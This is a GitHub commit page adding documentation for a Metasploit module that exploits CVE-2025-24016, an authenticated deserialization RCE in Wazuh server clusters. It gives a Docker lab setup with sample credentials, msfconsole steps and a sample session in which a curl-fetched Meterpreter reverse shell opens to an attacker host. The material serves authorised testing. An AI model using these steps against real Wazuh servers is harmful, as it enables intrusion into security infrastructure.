Skip to content

Commit e59a248

Browse files
authored
Merge pull request #20387 from h00die-gr3y/wazuh-auth-rce
Wazuh Server authenticated RCE [CVE-2025-24016]
2 parents 4200f51 + 3d0cfd0 commit e59a248

File tree

2 files changed

+509
-0
lines changed

2 files changed

+509
-0
lines changed
Lines changed: 365 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,365 @@
1+
## Vulnerable Application
2+
Wazuh is a free and open source platform used for threat prevention, detection, and response.
3+
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
4+
execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` in
5+
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
6+
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
7+
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
8+
in certain configurations, even by a compromised agent.
9+
10+
The following Wazuh release has been tested:
11+
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop
12+
13+
See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info.
14+
15+
## Installation
16+
### Installation steps to install the Wazuh Server application
17+
* Install `Docker` on your preferred platform.
18+
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
19+
* Follow the steps to install [Wazuh multi-node](https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html).
20+
* Change the `docker-compose.yml` file in the `multi-node` directory by adding the line `- "56000:55000"` to the ports configuration
21+
* of the wazuh.worker section to expose port `55000` to the outside world on port `56000`.
22+
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
23+
```yaml
24+
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
25+
version: '3.7'
26+
27+
services:
28+
wazuh.master:
29+
image: wazuh/wazuh-manager:4.8.2
30+
hostname: wazuh.master
31+
restart: always
32+
ulimits:
33+
memlock:
34+
soft: -1
35+
hard: -1
36+
nofile:
37+
soft: 655360
38+
hard: 655360
39+
ports:
40+
- "1515:1515"
41+
- "514:514/udp"
42+
- "55000:55000"
43+
environment:
44+
- INDEXER_URL=https://wazuh1.indexer:9200
45+
- INDEXER_USERNAME=admin
46+
- INDEXER_PASSWORD=SecretPassword
47+
- FILEBEAT_SSL_VERIFICATION_MODE=full
48+
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
49+
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
50+
- SSL_KEY=/etc/ssl/filebeat.key
51+
- API_USERNAME=wazuh-wui
52+
- API_PASSWORD=MyS3cr37P450r.*-
53+
volumes:
54+
- master-wazuh-api-configuration:/var/ossec/api/configuration
55+
- master-wazuh-etc:/var/ossec/etc
56+
- master-wazuh-logs:/var/ossec/logs
57+
- master-wazuh-queue:/var/ossec/queue
58+
- master-wazuh-var-multigroups:/var/ossec/var/multigroups
59+
- master-wazuh-integrations:/var/ossec/integrations
60+
- master-wazuh-active-response:/var/ossec/active-response/bin
61+
- master-wazuh-agentless:/var/ossec/agentless
62+
- master-wazuh-wodles:/var/ossec/wodles
63+
- master-filebeat-etc:/etc/filebeat
64+
- master-filebeat-var:/var/lib/filebeat
65+
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
66+
- ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
67+
- ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
68+
- ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf
69+
70+
wazuh.worker:
71+
image: wazuh/wazuh-manager:4.8.2
72+
hostname: wazuh.worker
73+
restart: always
74+
ulimits:
75+
memlock:
76+
soft: -1
77+
hard: -1
78+
nofile:
79+
soft: 655360
80+
hard: 655360
81+
ports:
82+
- "56000:55000"
83+
- "5555:5555"
84+
environment:
85+
- INDEXER_URL=https://wazuh1.indexer:9200
86+
- INDEXER_USERNAME=admin
87+
- INDEXER_PASSWORD=SecretPassword
88+
- FILEBEAT_SSL_VERIFICATION_MODE=full
89+
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
90+
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
91+
- SSL_KEY=/etc/ssl/filebeat.key
92+
- PYTHONBREAKPOINT=remote_pdb.set_trace
93+
- REMOTE_PDB_HOST=0.0.0.0
94+
- REMOTE_PDB_PORT=5555
95+
volumes:
96+
- worker-wazuh-api-configuration:/var/ossec/api/configuration
97+
- worker-wazuh-etc:/var/ossec/etc
98+
- worker-wazuh-logs:/var/ossec/logs
99+
- worker-wazuh-queue:/var/ossec/queue
100+
- worker-wazuh-var-multigroups:/var/ossec/var/multigroups
101+
- worker-wazuh-integrations:/var/ossec/integrations
102+
- worker-wazuh-active-response:/var/ossec/active-response/bin
103+
- worker-wazuh-agentless:/var/ossec/agentless
104+
- worker-wazuh-wodles:/var/ossec/wodles
105+
- worker-filebeat-etc:/etc/filebeat
106+
- worker-filebeat-var:/var/lib/filebeat
107+
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
108+
- ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
109+
- ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
110+
- ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf
111+
112+
wazuh1.indexer:
113+
image: wazuh/wazuh-indexer:4.8.2
114+
hostname: wazuh1.indexer
115+
restart: always
116+
ports:
117+
- "9200:9200"
118+
environment:
119+
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
120+
- "bootstrap.memory_lock=true"
121+
ulimits:
122+
memlock:
123+
soft: -1
124+
hard: -1
125+
nofile:
126+
soft: 65536
127+
hard: 65536
128+
volumes:
129+
- wazuh-indexer-data-1:/var/lib/wazuh-indexer
130+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
131+
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
132+
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
133+
- ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
134+
- ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
135+
- ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
136+
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
137+
138+
wazuh2.indexer:
139+
image: wazuh/wazuh-indexer:4.8.2
140+
hostname: wazuh2.indexer
141+
restart: always
142+
environment:
143+
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
144+
- "bootstrap.memory_lock=true"
145+
ulimits:
146+
memlock:
147+
soft: -1
148+
hard: -1
149+
nofile:
150+
soft: 65536
151+
hard: 65536
152+
volumes:
153+
- wazuh-indexer-data-2:/var/lib/wazuh-indexer
154+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
155+
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
156+
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
157+
- ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
158+
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
159+
160+
wazuh3.indexer:
161+
image: wazuh/wazuh-indexer:4.8.2
162+
hostname: wazuh3.indexer
163+
restart: always
164+
environment:
165+
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
166+
- "bootstrap.memory_lock=true"
167+
ulimits:
168+
memlock:
169+
soft: -1
170+
hard: -1
171+
nofile:
172+
soft: 65536
173+
hard: 65536
174+
volumes:
175+
- wazuh-indexer-data-3:/var/lib/wazuh-indexer
176+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
177+
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
178+
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
179+
- ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
180+
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
181+
182+
wazuh.dashboard:
183+
image: wazuh/wazuh-dashboard:4.8.2
184+
hostname: wazuh.dashboard
185+
restart: always
186+
ports:
187+
- 443:5601
188+
environment:
189+
- OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
190+
- WAZUH_API_URL="https://wazuh.master"
191+
- API_USERNAME=wazuh-wui
192+
- API_PASSWORD=MyS3cr37P450r.*-
193+
- DASHBOARD_USERNAME=kibanaserver
194+
- DASHBOARD_PASSWORD=kibanaserver
195+
volumes:
196+
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
197+
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
198+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
199+
- ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
200+
- ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
201+
- wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
202+
- wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
203+
depends_on:
204+
- wazuh1.indexer
205+
links:
206+
- wazuh1.indexer:wazuh1.indexer
207+
- wazuh.master:wazuh.master
208+
209+
nginx:
210+
image: nginx:stable
211+
hostname: nginx
212+
restart: always
213+
ports:
214+
- "1514:1514"
215+
depends_on:
216+
- wazuh.master
217+
- wazuh.worker
218+
- wazuh.dashboard
219+
links:
220+
- wazuh.master:wazuh.master
221+
- wazuh.worker:wazuh.worker
222+
- wazuh.dashboard:wazuh.dashboard
223+
volumes:
224+
- ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
225+
226+
volumes:
227+
master-wazuh-api-configuration:
228+
master-wazuh-etc:
229+
master-wazuh-logs:
230+
master-wazuh-queue:
231+
master-wazuh-var-multigroups:
232+
master-wazuh-integrations:
233+
master-wazuh-active-response:
234+
master-wazuh-agentless:
235+
master-wazuh-wodles:
236+
master-filebeat-etc:
237+
master-filebeat-var:
238+
worker-wazuh-api-configuration:
239+
worker-wazuh-etc:
240+
worker-wazuh-logs:
241+
worker-wazuh-queue:
242+
worker-wazuh-var-multigroups:
243+
worker-wazuh-integrations:
244+
worker-wazuh-active-response:
245+
worker-wazuh-agentless:
246+
worker-wazuh-wodles:
247+
worker-filebeat-etc:
248+
worker-filebeat-var:
249+
wazuh-indexer-data-1:
250+
wazuh-indexer-data-2:
251+
wazuh-indexer-data-3:
252+
wazuh-dashboard-config:
253+
wazuh-dashboard-custom:
254+
```
255+
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment.
256+
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running.
257+
* You can bring down the environment for a fresh start with the command `docker-compose down`.
258+
259+
You are now ready to test the module.
260+
261+
**IMPORTANT NOTE:**
262+
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
263+
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger
264+
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file)
265+
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence
266+
the vulnerable code will not be triggered.
267+
268+
## Verification Steps
269+
- [ ] Start `msfconsole`
270+
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016`
271+
- [ ] `set rhosts <ip-target>`
272+
- [ ] `set rport <port>`
273+
- [ ] `set lhost <attacker-ip>`
274+
- [ ] `set target <0=Unix/Linux Command>`
275+
- [ ] `exploit`
276+
277+
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.
278+
279+
## Options
280+
**API Credentials:**
281+
`API_PWD` Wazuh API password (MyS3cr37P450r.*-)
282+
`API_USER` Wazuh API user (wazuh-wui)
283+
284+
## Scenarios
285+
### Wazuh server 4.8.2 on Docker Desktop
286+
```msf
287+
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options
288+
289+
Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):
290+
291+
Name Current Setting Required Description
292+
---- --------------- -------- -----------
293+
API_PWD MyS3cr37P450r.*- yes Wazuh API password
294+
API_USER wazuh-wui yes Wazuh API user
295+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
296+
socks5h
297+
RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
298+
RPORT 56000 yes The target port (TCP)
299+
SSL true no Negotiate SSL/TLS for outgoing connections
300+
TARGETURI / yes Path to the wazuh manager
301+
VHOST no HTTP server virtual host
302+
303+
304+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
305+
306+
Name Current Setting Required Description
307+
---- --------------- -------- -----------
308+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
309+
FETCH_DELETE false yes Attempt to delete the binary after execution
310+
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
311+
variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
312+
FETCH_SRVHOST no Local IP to use for serving payload
313+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
314+
FETCH_URIPATH no Local URI to use for serving payload
315+
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
316+
LPORT 4444 yes The listen port
317+
318+
319+
When FETCH_COMMAND is one of CURL,WGET:
320+
321+
Name Current Setting Required Description
322+
---- --------------- -------- -----------
323+
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
324+
325+
326+
When FETCH_FILELESS is none:
327+
328+
Name Current Setting Required Description
329+
---- --------------- -------- -----------
330+
FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes
331+
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
332+
333+
334+
Exploit target:
335+
336+
Id Name
337+
-- ----
338+
0 Unix/Linux Command
339+
340+
View the full module info with the info, or info -d command.
341+
342+
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
343+
[*] Reloading module...
344+
[*] Started reverse TCP handler on 192.168.201.10:4444
345+
[*] Running automatic check ("set AutoCheck false" to disable)
346+
[+] The target appears to be vulnerable. Wazuh version 4.8.2
347+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
348+
[*] Sending stage (3090404 bytes) to 192.168.201.85
349+
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000
350+
351+
meterpreter > getuid
352+
Server username: wazuh
353+
meterpreter > sysinfo
354+
Computer : wazuh.master
355+
OS : (Linux 6.10.14-linuxkit)
356+
Architecture : x64
357+
BuildTuple : x86_64-linux-musl
358+
Meterpreter : x64/linux
359+
meterpreter > pwd
360+
/
361+
meterpreter >
362+
```
363+
364+
## Limitations
365+
This module works only on a Wazuh Server multi-node cluster configuration.

0 commit comments

Comments
 (0)